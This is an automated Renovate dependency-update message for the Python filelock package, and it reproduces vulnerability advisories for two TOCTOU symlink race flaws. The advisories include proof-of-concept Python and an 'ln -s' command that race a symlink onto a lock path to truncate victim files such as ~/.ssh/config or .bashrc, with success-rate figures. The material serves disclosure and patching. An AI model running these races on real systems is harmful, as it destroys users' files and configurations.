<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19--> Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot
added a commit
to coopnorge/engineering-docker-images
that referenced
this pull request
Jul 16, 2026
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6` → `3.29.7` |  |  | --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7) <!-- Release notes generated using configuration in .github/release.yaml at main --> #### What's Changed - asyncio: detect cross-instance reentrant deadlocks before the poll loop by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586) - 🐛 fix(soft\_rw): evict non-regular write marker without reading it by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588) - \_util: drop the dead st\_mtime=0 short-circuit in raise\_on\_not\_writable\_file by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589) **Full Changelog**: <tox-dev/filelock@3.29.6...3.29.7> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://redirect.github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19--> Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
xt-yin
added a commit
to xt-yin/filelock
that referenced
this pull request
Jul 17, 2026
